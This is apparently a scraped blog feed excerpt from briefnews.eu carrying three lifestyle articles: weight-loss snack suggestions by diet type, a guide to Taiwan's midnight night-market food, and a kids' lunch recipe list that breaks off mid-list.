<li><strong>Have breakfast.</strong> We have heard it since the beginning of time: “breakfast is the most important meal of the day”. It is! Studies like one conducted by NCBI, shows that people trying to lose weight are more successful in reaching their goals when they incorporate breakfast in their daily routine.((Front Hum Neurosci: <a target="_blank" href="https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3737458/">The effects of breakfast on behavior and academic performance in children and adolescents</a>)) This step alone can help you in your weight loss goals and make you want to snack less.</li>
<li><strong>Pack your snacks.</strong> The saying “stay ready so you never have to get ready” is very true here. Packing your snacks and preparing for the day is key. You want to have healthy options when you start to crave food. Packing things like healthy granola bars, crackers and fruits etc. will alleviate the bad choice of a candy bar or chips from the vending machine.</li>
<li><strong>Keep track of your calorie intake.</strong> Keep a small memo pad or an active document on your mobile device. It is important to record what you eat, and the calories consumed. This will help you stay on track.</li>
<li><strong>Sleep.</strong> Sleep and weight loss are like partners. Research shows that lack of sleep impacts your metabolism, and we all know that slow metabolisms contribute to weight gain.((Harvard Health Publishing: <a target="_blank" href="https://www.health.harvard.edu/diet-and-weight-loss/does-metabolism-matter-in-weight-loss">Does Metabolism Matter in Weight Loss?</a>)) Getting a solid 8 hours of sleep per night to help you with your weight loss goals.</li>
<li><strong>Reward yourself.</strong> It is so important to reward yourself for a job well done. When you work hard throughout the week and see the benefits on the scale, reward yourself! Losing weight and changing eating habits is difficult. When a mission is accomplished, get out there are pat yourself on the back!</li>
<li><strong>Drink sufficient water.</strong> Please drink water! Water is absolutely necessary for health but can also aid you in losing weight. Try drinking a cup of water before snacking. You may find that you weren’t hungry at all, just thirsty (many times, dehydration shows up as hunger).</li>
</ul>
<h2>Tasty and healthy snacks for your weight loss goals- all diets</h2>
<p>There a lot of different diets out there for various reasons. These reasons are tied to health, values, and morality. No matter your dietary preferences, snacking with mindfulness and awareness is important. This should go without saying.However, no matter your diet, fruits and vegetables should be the number one choice! Fruits and vegetables are essential and key for a healthy life and body. When a little variation is needed, incorporating exciting, tasty, and healthy snacks can still be good for your weight loss goals. Let’s get into a few snacks for your dietary need/preference and your weight loss goals!</p>
<h3>Snacks for carnivores</h3>
<p>For carnivores, eating a carnivore diet means that meat and animal products is/are a regular part of your diet. Snacks for carnivores that lead to weight loss:</p>
<h4>1. Rice Crackers and Cheese</h4>
<p>Rice crackers are usually made with brown rice which is a great fiber and carbohydrate source. Fiber makes you feel full for longer. Cheese has so many essentials: calcium, protein, and vitamins A and B. Paired together, rice crackers and cheese can help you get there with the combination of protein, fiber, carbs, and vitamins.<strong>Weight loss tip:</strong>Remember that this is a snack. Always go with the serving recommendation on the label. It is much easier to track calories and fat.</p>
<h4>2. Boiled Chicken Breast Topped with Lemon Juice, Ginger, and Pepper</h4>
<p><a target="_blank" href="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/adb5e__Boiled-Chicken-Breast-Topped-with-Lemon-Juice-Ginger-and-Pepper.jpg"><img decoding="async" class="alignnone size-full wp-image-799401" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/adb5e__Boiled-Chicken-Breast-Topped-with-Lemon-Juice-Ginger-and-Pepper.jpg" alt="" width="800" height="600" /></a>Chicken is a good source of protein and one of the cleaner and leaner meats to eat. Chicken breast also aids in the reduction of cardiovascular disease but also contributes to muscle development and muscle growth.Snacking on boiled chicken can aid you in your weight loss journey. Topping with lemon juice, pepper, and ginger is very impactful flavor combination but also a wonderful anti-inflammatory combination.((CookingLight: <a target="_blank" href="https://www.cookinglight.com/food/recipe-finder/healthy-chicken-breast-recipes">50 Healthy Chicken Breast Recipes</a>))<strong>Weight loss tip:</strong>Emphasis is placed on chicken breast because white meat chicken has less fat than dark meat chicken. Fatty meats will hurt you in trying to achieve your goal. The golden rule- be mindful of your choices.</p>
<h4>3. Soup</h4>
<p>Having soup for a snack can contribute significantly to your weight loss goal. Soup is hearty, filling, and more appealing than water to many (water is so necessary so please do not replace water with soup, still drink water!).You sip/drink soup slower than water and because of that, soup is known for staying in your system much longer, making you feel fuller for longer. That means, less eating!<strong>Weight loss tip:</strong>Be mindful of sodium/salt/msg. High levels of sodium in a diet alters the metabolism and a healthy metabolism is key for fat absorption.</p>
<h3>Snacks for pescatarians</h3>
<p>For pescatarians, eating a pescatarian diet means that you don’t consume land animal (chicken, beef, pork, etc.), just sea animals (fish). Some pescatarians consume land animal products (eggs and dairy, while others consume only sea animal and sea animal products (no milk, no butter, no eggs).</p>
<h4>4. Tuna Salad</h4>
<p><a target="_blank" href="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/adb5e__tuna-salad.jpeg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-799403" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/adb5e__tuna-salad.jpeg" alt="" width="720" height="480" /></a>Tuna is high in potassium and omega-3 fatty acids. Potassium is an electrolyte that helps maintain blood pressure and blood flow; it also counteracts sodium. Additionally, it is high in vitamin B and low in calories and fat.<strong><a target="_blank" href="https://www.taste.com.au/recipes/mediterranean-tuna-salad/e3fb7eaf-79cf-45f9-8e13-9592727b92b8">~ Full recipe here!</a></strong><strong>Weight loss tip:</strong>Be mindful of how you eat your tuna. Be cautious of the amount of mayonnaise used. The best way to snack on tuna is with a fork (so you can eat slowly and mindfully).</p>
<h4>5. Steamed Shrimp</h4>
<p>Shrimp has so many health benefits and can truly aid you in your weight loss goals. Shrimp is super low in calories and very protein rich. Shrimp is really a combination of protein and water; you won’t find fatty pockets on shrimp.As a snack, shrimp will provide so many vitamins and minerals with the added benefit of feeling completely satisfied.<strong>Weight loss tip:</strong>Be mindful of the serving size and mindful of the seasoning that you use. Seasonings high in sodium will alter the amazing benefits. Consider using lemon juice, ginger, and garlic.</p>
<h4>6. Smoked salmon</h4>
<p>This snack comes ready for you to eat! It is tasty and healthy, packed with antioxidants (antioxidants remove damaging oxidizing agents in a living organism- food products stored in your system). Our bodies have to function properly to aid us in our weight loss and health goals. Smoked salmon is a healthy snack and healthy medicine!<strong>Weight loss tip:</strong>Smoked salmon requires nothing to be added. It is packed full of flavor from the preparation. Adding things like sodium will contradict the amazing benefits. The best way to eat smoked salmon is with a fork.</p>
<h3>Snacks for vegetarians</h3>
<p>For vegetarians, eating a vegetarian diet means that you don’t consume any type of animal- no land animal and no sea animal but, may still eat animal products such as milk, butter, and eggs.</p>
<h4>7. Greek Yogurt and Fresh Fruit</h4>
<p>Greek yogurt is packed with protein. Eating this alone is already a wild health benefit due to the process of making it, which includes draining out the lactose! Lactose is the sugar found in milk. Adding fruit to it adds natural sweetness and of course the benefits that come with fruit!<strong>Weight loss tip:</strong>Yogurt has sugar in it and too much sugar is damaging to your weight loss goals. Be mindful of portions and toppings. The wrong toppings will contradict the benefits.</p>
<h4>8. Steamed Veggies with Garlic and Parmesan Cheese</h4>
<p><a target="_blank" href="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/0ff50__steamed-veggie.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-799405" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/0ff50__steamed-veggie.jpg" alt="" width="640" height="480" /></a>Steaming your veggies takes away the need for butter and oil. Adding a little parmesan cheese and garlic gives these veggies a lot of flavor and the benefits found in dairy. Not only are you giving your body two important necessities, you are also going to feel very satisfied for a longer period of time.<strong><a target="_blank" href="https://www.budgetbytes.com/quick-garlic-parmesan-broccoli/">~ Full recipe here!</a></strong><strong>Weight loss tip:</strong>For those that don’t eat dairy, try a drizzle of Italian dressing or, topping it with guacamole. As always, be mindful of portions.</p>
<h4>9. Hard Boiled Eggs</h4>
<p>Eggs are a great snack for weight loss, especially if boiled without the use of butters and oils. Eggs are packed with protein, low in calories, and have essential vitamins such as B and D. They make for a great weight loss snack because in addition to the nutrients, you will full and satisfied.<strong>Weight loss tip:</strong>Eggs are high in cholesterol. To reduce the amount of cholesterol intake, avoid eating the yolk. The benefits are in the egg white.</p>
<h3>Snacks for vegans</h3>
<p>For vegans, eating a vegan diet means that you don’t consume any animal at all- land or sea, and you don’t consume any animal products- land or sea. Vegans eat a plant-based diet consisting mainly of fruits, vegetables, nuts, and grains.</p>
<h4>10. Smoothie Bowl</h4>
<p><a target="_blank" href="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/0ff50__smoothie-bowl.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-799407" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/0ff50__smoothie-bowl.jpg" alt="" width="1500" height="1000" /></a>Smoothies are amazing. You can get your 6 servings of fruits and vegetables in one smoothie! A variation to the norm is a smoothie bowl. Many times, we crave things like ice cream- why not make the healthiest version?<strong>Recipe tip:</strong>Create your favorite blend and top with fresh fruit chunks, or granola, or coconut flakes, or nut and seed mix.<strong><a target="_blank" href="https://blog.fablunch.com/5-must-try-smoothie-bowls/">~ More recipe ideas here!</a></strong><strong>Weight loss tip:</strong>There is plenty of natural sugar in the fruit and toppings. Be mindful of adding additional sugar.</p>
<h4>11. Chia Pudding</h4>
<p>Chia seeds are an amazing little seed. They are rich in omega’s, carbohydrates, protein, and fiber. Consuming chia seeds for a snack can really help you achieve weight loss success. You will consume a superfood that will leave you feeling full for hours!<strong>Recipe tip:</strong>To make chia pudding, simply use a 4 to 1 ratio:1 cup of plant-based milk to 1/4 cup chia seeds; add a little agave for sweetness.Let it sit for a couple of hours, stirring every 15-20 minutes. Make it for the day or make it for the week! Want to add a little flare? Blend some fresh fruit and top!<strong>Weight loss tip</strong>:Be mindful of the amount of sweetener/sugar used.</p>
<h4>12. Baked Peach and Cherry Delight</h4>
<p>Fruits and vegetables are key for every diet. This is the way to true health and healthy weight.Peaches contain niacin, folate, iron, choline, potassium, magnesium, phosphorus, manganese, zinc and copper- they are basically vitamins! Cherries are a wonderful antioxidant; combined you have delicious vitamin that will leave you happy and satisfied.<strong>Recipe tip:</strong>Simply cut up a few peaches, add half a can of cherry pie filling, and add 3 tablespoons of lemon fruit filling for sweetness. Mix and bake on 350 degrees for about 30-45 minutes.<strong>Weight loss tip:</strong>Both peaches and cherries are naturally sweet. The lemon fruit filling is sweet as well. No additional sugars or sweeteners necessary.</p>
<h2>The bottom line</h2>
<p>Remember, fruits and vegetables should be your number one choice for snacking. Be mindful of your choices and remember to try water first.Snacking for weight loss is healthy and can help you reach your weight loss goals fast. Snacking isn’t a negative, if done right, it is all positive!</p>
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		<title>The Tasty Joys of Midnight Meals in Taiwan</title>
		<link>https://briefnews.eu/the-tasty-joys-of-midnight-meals-in-taiwan/</link>
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		<dc:creator><![CDATA[martin]]></dc:creator>
		<pubDate>Wed, 11 Jul 2018 07:00:23 +0000</pubDate>
				<category><![CDATA[World]]></category>
		<category><![CDATA[Joys]]></category>
		<category><![CDATA[meals]]></category>
		<category><![CDATA[Midnight]]></category>
		<category><![CDATA[Taiwan]]></category>
		<category><![CDATA[Tasty]]></category>
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					<description><![CDATA[It&#8217;s a godless hour and dripping wet in Keelung, a port city off the northern coast of Taiwan. But the narrow alleys are still jammed with people, elbow to elbow, jostling at the closet-size night market stalls to place their orders. Competing for their attention: steaming beef noodle soup, sizzling oyster pancakes, honey-sweet pearl milk [&#8230;]]]></description>
										<content:encoded><![CDATA[<p dir="ltr">It&rsquo;s a godless hour and dripping wet in Keelung, a port city off the northern coast of <a target="_blank" href="https://www.ozy.com/good-sht/the-cat-tastic-taiwanese-village-where-felines-are-in-charge/81646" target="_blank">Taiwan</a>. But the narrow <a target="_blank" href="https://www.ozy.com/good-sht/welcome-to-tokyos-piss-alley-featuring-pig-testicles-and-snake-wine/81309" target="_blank">alleys</a> are still jammed with people, elbow to elbow, jostling at the closet-size night market stalls to place their orders. Competing for their attention: steaming beef <a target="_blank" href="https://www.ozy.com/good-sht/the-irresistible-noodle-dish-taking-laos-by-storm/69740" target="_blank">noodle</a> soup, sizzling oyster pancakes, honey-sweet pearl milk tea, fermented stinky tofu, and comically, fat pork sausages or mini sweet potato balls. Welcome to a foodie&rsquo;s final resting place. </p>
<p dir="ltr">If New York is the city that never sleeps, then Taiwan must be the island that never gets full. Most people have three meals a day, but Taiwan worships food so much that there&rsquo;s a fourth and final meal: <em>xiaoye</em> (&#23477;&#22812;) or midnight snacks. Combine this late-night eating tradition with <em>renao</em> (&#29105;&#39719;) &mdash; the &ldquo;hot and noisy&rdquo; aspect of life that is cherished by Taiwanese &mdash; and you&rsquo;ll get even tiny towns like Keelung serving night market food into the wee hours of the morning. &ldquo;Taiwanese people love food more than anything &hellip; as long as it&rsquo;s delicious, new and trendy,&rdquo; says Charlene Yang, a food blogger based in Taipei. </p>
<blockquote readability="4.5"><p><span class="quote-text" readability="28"></p>
<p dir="ltr">Eating out is so convenient and cheap (usually less than $  10) that many don&rsquo;t bother cooking at home.</p>
<p></span></p></blockquote>
<p dir="ltr">But why the determined night-owl hunt for food? There are a few factors according to National Taiwan Normal University professor Chen Yu-Jen, who researches the culture and history of cuisine in Taiwan. Back in the 1980s, Taiwan&rsquo;s xiaoye scene was mostly a &ldquo;lively underground economy,&rdquo; but nowadays, midnight snacking has turned into a more formal affair &mdash; even an ingrained part of mainstream culture. Eating out is so <a target="_blank" href="https://www.ozy.com/good-sht/the-10-best-street-food-dishes-from-around-the-world/80847" target="_blank">convenient and cheap</a> (usually less than $  10) that many don&rsquo;t bother cooking at home.</p>
<p dir="ltr">And the sheer variety on offer &mdash; foods with historical Dutch, Portuguese, Spanish, American and Chinese roots &mdash; is enough to draw everyone from late-working office workers to &ldquo;cram school&rdquo; students, says <a target="_blank" href="https://www.instagram.com/taipeifoodie/?hl=en" target="_blank">Leslie Liu</a>, a popular Taiwanese food Instagrammer. Plus &ldquo;people go out not just because of the food, but because the food also creates a lively, one-of-a-kind atmosphere,&rdquo; adds Liu. </p>
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<p dir="ltr">So if you&rsquo;re coming to Taiwan, open your mouth wide once you arrive, and don&rsquo;t close it again until your return flight home. The goal here is to fill your body with food and culture until you explode. But do brace yourself for large, noisy crowds. The experience may be overwhelming for those unfamiliar with the hustle and bustle of Taiwan&rsquo;s midnight scene or the mind-boggling number of choices on every menu.</p>
<p dir="ltr">But we&rsquo;ve got you covered. Here&rsquo;s your insider&rsquo;s guide to late-night cravings in and around Taipei. </p>
<div class="factfile">
<h4 id="Go_There_The_Night_Market_Thats_Right_For_You" dir="ltr">Go There: The Night Market That&rsquo;s Right for You  </h4>
<ul>
<li dir="ltr"><strong>For the seafood fanatic:</strong> <a target="_blank" href="http://tour.klcg.gov.tw/Miaokow/Default.aspx" target="_blank">Keelung Night Market</a>. Eat this: wide noodle soup with mushrooms, fried tiger lillies, oysters and shrimp (&#40718;&#37002;&#37564;)</li>
<li dir="ltr"><strong>For all-around good eats: </strong><a target="_blank" href="https://www.travel.taipei/zh-tw/attraction/details/1538" target="_blank">Raohe Night Market</a>. Eat this: pork pepper buns (&#32993;&#26898;&#39173;), squid soup with fragrant basil (&#39799;&#39770;&#21450;&#20061;&#23652;&#22612;)</li>
<li dir="ltr"><strong>For a sweet tooth:</strong> <a target="_blank" href="https://www.travel.taipei/zh-tw/attraction/details/1562" target="_blank">Tonghua Night Market</a>. Eat this: sweet rice balls filled with peanuts and drenched with osmanthus syrup (&#28271;&#22291;), tofu pudding (&#35910;&#33457;)</li>
<li dir="ltr"><strong>For the budget eater:</strong> <a target="_blank" href="http://www.hrd.gov.tw/content/facility/ScenicSpots01in.aspx?sid=3" target="_blank">Shida Night Market</a>. Eat this: Hong Kong&ndash;style pineapple buns with a pat of sweet butter (&#20912;&#28779;&#33760;&#34367;), minced pork&ndash;stuffed dumplings (&#29983;&#29006;&#21253;)</li>
<li dir="ltr"><strong>For the fried food lover: </strong>Ningxia Night Market: Eat this: oyster omelet (&#34485;&#20180;&#29006;), deep fried taro balls with salted egg yolk (&#34507;&#40643;&#33419;&#39173;)</li>
<li dir="ltr"><strong>For the adventurous:</strong> <a target="_blank" href="https://www.taiwan.net.tw/m1.aspx?sno=0001090&#038;id=18" target="_blank">Huaxi Street Night Market</a> (or Snake Alley). Eat this: snake soup (&#27515;&#32905;&#28271;), snake bile, snake semen and snake blood shots</li>
</ul>
</div>
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		<title>25 Tasty and Healthy Kids’ Lunch Ideas for Home or School</title>
		<link>https://briefnews.eu/25-tasty-and-healthy-kids-lunch-ideas-for-home-or-school-2/</link>
					<comments>https://briefnews.eu/25-tasty-and-healthy-kids-lunch-ideas-for-home-or-school-2/#respond</comments>
		
		<dc:creator><![CDATA[martin]]></dc:creator>
		<pubDate>Sun, 10 Jun 2018 07:20:20 +0000</pubDate>
				<category><![CDATA[Health]]></category>
		<category><![CDATA[Life & Style]]></category>
		<category><![CDATA[healthy]]></category>
		<category><![CDATA[home]]></category>
		<category><![CDATA[ideas]]></category>
		<category><![CDATA[kids]]></category>
		<category><![CDATA[lunch]]></category>
		<category><![CDATA[School]]></category>
		<category><![CDATA[Tasty]]></category>
		<guid isPermaLink="false">http://briefnews.eu/25-tasty-and-healthy-kids-lunch-ideas-for-home-or-school-2/</guid>

					<description><![CDATA[If your kids are picky eaters, you know that every meal can be a battle. Their growing bodies are in need of vitamins and nutrients, yet all they crave are unhealthy foods with no nutritional content. What you need are creative meal ideas they can eat for lunch at home or at school, designed to [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>If your kids are picky eaters, you know that every meal can be a battle. Their growing bodies are in need of vitamins and nutrients, yet all they crave are unhealthy foods with no nutritional content. What you need are creative meal ideas they can eat for lunch at home or at school, designed to appeal to their palate.</p>
<p>The recipes listed here contain lots of vegetables, minimal or no processed ingredients, and most importantly, flavors that even the pickiest kids will love! The ingredients for each meal are listed below. Click on the name of the dish to see the full recipe!</p>
<h2>Finger Foods</h2>
<h4>1. Asian-Style Fish Cakes with Sweet Chili Dipping Sauce</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-769404" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/b6cef__SSC_AsianFishCakes.jpg" sizes="auto, (max-width: 596px) 100vw, 596px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/b6cef__SSC_AsianFishCakes.jpg 596w, https://cdn.lifehack.org/wp-content/uploads/2018/05/15212605/SSC_AsianFishCakes-380.jpg 380w" width="596" height="420" data-lh-image-id="769404" /></p>
<p>Do you have a finicky eater that refuses to eat fish? This is a great way to make this omega-3 fatty acid rich protein appealing and fun to eat. And it’s much better for you than frozen fish sticks.</p>
<p>Just so you know, these fish cakes freeze amazingly well! To save time, make a big batch and freeze them for whenever you need a quick meal or snack.</p>
<p><strong><a href="https://www.babble.com/best-recipes/asian-fish-cakes/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h4>2. Chicken Zucchini Poppers</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-769291" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/89ec5__new-zucchini-poppers1SM1.jpg" sizes="auto, (max-width: 678px) 100vw, 678px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/89ec5__new-zucchini-poppers1SM1.jpg 678w, https://cdn.lifehack.org/wp-content/uploads/2018/05/15194633/new-zucchini-poppers1SM1-380.jpg 380w" width="678" height="672" data-lh-image-id="769291" /></p>
<p>Some kids don’t like the texture of zucchini, but in this recipe, they add moisture and the zucchini is barely detectable. Make sure to squeeze out the excess water in the zucchini so that the poppers stay together and don’t fall apart. They can be pan-fried or baked! The poppers pair perfectly with the <a href="https://www.onelovelylife.com/citrus-avocado-dressing/" target="_blank" rel="noopener">citrus avocado dressing</a>.</p>
<p><strong><a href="https://www.onelovelylife.com/chicken-zucchini-poppers-gf-df/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h4>3. Baked Crispy Chicken Fingers with Apple Fries</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-769406" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/89ec5__chicken-apple-fries.jpg" sizes="auto, (max-width: 623px) 100vw, 623px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/89ec5__chicken-apple-fries.jpg 623w, https://cdn.lifehack.org/wp-content/uploads/2018/05/15212632/chicken-apple-fries-380.jpg 380w" width="623" height="644" data-lh-image-id="769406" /></p>
<p>If your kid asks for chicken fingers, you don’t have to say no. This version is made with white meat chicken and baked. Substituting fries with apple fries makes this an appetizing lunch that both you and your kids will approve of. Turkey breast can be used instead of chicken.</p>
<p><strong><a href="https://www.babble.com/best-recipes/baked-crispy-chicken-fingers-with-apple-fries/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h4>4. Broccoli and Cheese Nuggets (Vegetarian)</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-769299" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/89ec5__broccoli-nuggets-gluten-free-dairy-free-regular-recipes-681x1024.jpg" sizes="auto, (max-width: 524px) 100vw, 524px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/89ec5__broccoli-nuggets-gluten-free-dairy-free-regular-recipes-681x1024.jpg 524w, https://cdn.lifehack.org/wp-content/uploads/2018/05/15195606/broccoli-nuggets-gluten-free-dairy-free-regular-recipes-681x1024-380.jpg 380w" width="524" height="498" data-lh-image-id="769299" /></p>
<p>Broccoli is notorious for being a hard sell. Who knows why kids don’t like eating these miniature trees? But when mixed with cheese and formed into a fun shape for easy dipping, kids may give these broccoli-filled nuggets another try. Another positive is that they are baked, not fried.</p>
<p><strong><a href="http://www.laurafuentes.com/broccoli-cheese-nuggets-recipe/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h2>The Salad Bar</h2>
<h4>5. Chicken Taco Salad</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-769304" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/89ec5__tacosalad1.jpg" sizes="auto, (max-width: 630px) 100vw, 630px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/89ec5__tacosalad1.jpg 630w, https://cdn.lifehack.org/wp-content/uploads/2018/05/15200034/tacosalad1-380.jpg 380w" width="630" height="420" data-lh-image-id="769304" /></p>
<p>Kids love tacos, so why not make them a healthy taco salad? This one is packed full of leafy greens, tomatoes, corn, avocado and grilled chicken. Adding crushed chips on top gives it the perfect amount of texture and appeal for your young kids to enjoy without a single complaint.</p>
<p><strong><a href="http://thepioneerwoman.com/cooking/chicken-taco-salad/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h4>6. Chicken Salad with Grapes</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-769360" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/89ec5__chicken-salad-recipe-DSC_2042.jpg" sizes="auto, (max-width: 640px) 100vw, 640px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/89ec5__chicken-salad-recipe-DSC_2042.jpg 640w, https://cdn.lifehack.org/wp-content/uploads/2018/05/15205814/chicken-salad-recipe-DSC_2042-380.jpg 380w" width="640" height="672" data-lh-image-id="769360" /></p>
<p>A colorful chicken salad with crunchy roasted nuts, dried cherries, grapes and celery, it can be served alone, in a sandwich, or on a bed of lettuce. Apples can be used in place of the cherries or in addition. Greek yogurt can also be used in place of the mayonnaise to up the healthy factor even more!</p>
<p><strong><a href="https://addapinch.com/chicken-salad-with-grapes-recipe/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<blockquote><p><strong>READ MORE: <a href="https://www.jenreviews.com/chicken-salad/" target="_blank" rel="noopener">Citrus Chicken Salad with Honey Mustard Vinaigrette</a></strong></p></blockquote>
<h4>7. Salad Stuffed Pepper Bowls with Creamy Avocado Dressing (Vegan)</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-769377" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/89ec5__salad-stuffed-peppers1.jpg" sizes="auto, (max-width: 498px) 100vw, 498px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/89ec5__salad-stuffed-peppers1.jpg 498w, https://cdn.lifehack.org/wp-content/uploads/2018/05/15211150/salad-stuffed-peppers1-380.jpg 380w" width="498" height="627" data-lh-image-id="769377" /></p>
<p>As many of you moms know, a huge part of the appeal of a meal is the presentation. These pepper bowls are such a clever idea for a kid-friendly lunch. The salad AND bowl are made from a plethora of colorful, nutritious veggies. How often do you get to tell your kids to eat their bowl? You can add a protein to the salad if you prefer, such as grilled chicken.</p>
<p><strong><a href="https://www.courtneyssweets.com/salad-stuffed-pepper-bowls-with-creamy-avocado-dressing/" target="_blank" rel="noopener">View recipe here</a>.</strong></p>
<h2>Soup of the Day</h2>
<h4>8. Vegan Chili</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-769411" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/8f0bf__homemade-vegetarian-chili-recipe-2-550x757.jpg" sizes="auto, (max-width: 547px) 100vw, 547px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/8f0bf__homemade-vegetarian-chili-recipe-2-550x757.jpg 547w, https://cdn.lifehack.org/wp-content/uploads/2018/05/15213013/homemade-vegetarian-chili-recipe-2-550x757-380.jpg 380w" width="547" height="481" data-lh-image-id="769411" /></p>
<p>This vegan chili recipe contains primarily of vegetables and beans, making it very healthy and filling. Making a flavorful and rich tasting chili doesn’t have to take all day. By blending a small portion and adding it back in, the chili will be thick and satisfying, and no one will be able to taste the difference! Make a big batch because the leftovers keep very well.</p>
<p><strong><a href="https://cookieandkate.com/2015/vegetarian-chili-recipe/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h4>9. Chicken Pot Pie Soup</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-769415" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/8f0bf__gallery-1487365367-delish-chicken-pot-pie-soup-pin-1.jpg" sizes="auto, (max-width: 640px) 100vw, 640px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/8f0bf__gallery-1487365367-delish-chicken-pot-pie-soup-pin-1.jpg 640w, https://cdn.lifehack.org/wp-content/uploads/2018/05/15213643/gallery-1487365367-delish-chicken-pot-pie-soup-pin-1-380.jpg 380w" width="640" height="770" data-lh-image-id="769415" /></p>
<p>Get all the flavors of chicken pot pie in half the time with this chicken pot pie soup recipe. This is such a comfort food, but also contains a lot of nutritionally dense ingredients, such as carrots, celery, peas, corn and green beans. The crust and filling are cooked separately, which is a major time saver for busy moms.</p>
<p><strong><a href="https://www.delish.com/cooking/recipe-ideas/recipes/a51568/chicken-pot-pie-soup-recipe/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h4>10. Slow Cooker Taco Soup</h4>
<p><img decoding="async" class="alignnone size-full wp-image-770552" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/8f0bf__Slow-Cooker-Taco-Soup-5-of-7.jpg" sizes="(max-width: 684px) 100vw, 684px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/8f0bf__Slow-Cooker-Taco-Soup-5-of-7.jpg 684w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16143958/Slow-Cooker-Taco-Soup-5-of-7-380.jpg 380w" width="100%" data-lh-image-id="770552" /></p>
<p>Another spin on the beloved taco, a fan favorite of young kids. This recipe is slow cooker friendly, so you can prep all of the ingredients in the morning, throw it in the slow cooker and come back to a house smelling of aromatic taco soup. Serve with tortilla chips or over a baked potato.</p>
<p><strong><a href="https://slowcookergourmet.net/slow-cooker-taco-soup/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h2>Oodles of Noodles</h2>
<h4>11. Baked Eggplant Parmesan Penne</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-770216" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/8f0bf__eggplant1.png" sizes="auto, (max-width: 579px) 100vw, 579px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/8f0bf__eggplant1.png 579w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16100305/eggplant1-380.png 380w" width="579" height="425" data-lh-image-id="770216" /></p>
<p>Swap out typical Chicken Parmesan with healthier but just as tasty eggplant, which is sauteed instead of deep fried. But you don’t have to sacrifice the crunch from the breading by adding panko on top. You can also use whole wheat pasta to cut calories and add fiber, minerals, and protein.</p>
<p><strong><a href="https://www.foodandwine.com/recipes/baked-eggplant-parmesan-penne" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h4>12. Roasted Chicken and Tomato Pesto Spaghetti Florentine</h4>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-770271" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/c7460__Roasted-Chicken-and-Tomato-Pesto-Spaghetti-Florentine-17.jpg" sizes="auto, (max-width: 450px) 100vw, 450px" srcset="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/c7460__Roasted-Chicken-and-Tomato-Pesto-Spaghetti-Florentine-17.jpg 450w, https://cdn.lifehack.org/wp-content/uploads/2018/05/16101916/Roasted-Chicken-and-Tomato-Pesto-Spaghetti-Florentine-17-380.jpg 380w" width="450" height="382" data-lh-image-id="770271" /></p>
<p>This recipe incorporates roasted grape tomatoes, baby spinach leaves and rotisserie chicken breast for a light and easy lunchtime pasta. You can make your own homemade pesto if you have the ingredients on hand. Store-bought also works just as well.</p>
<p><strong><a href="https://picky-palate.com/roasted-chicken-tomato-pesto-spaghetti-florentine/" target="_blank" rel="noopener">View recipe here.</a></strong></p>
<h4>13. Thai Noodle Salad (Vegan)</h4>
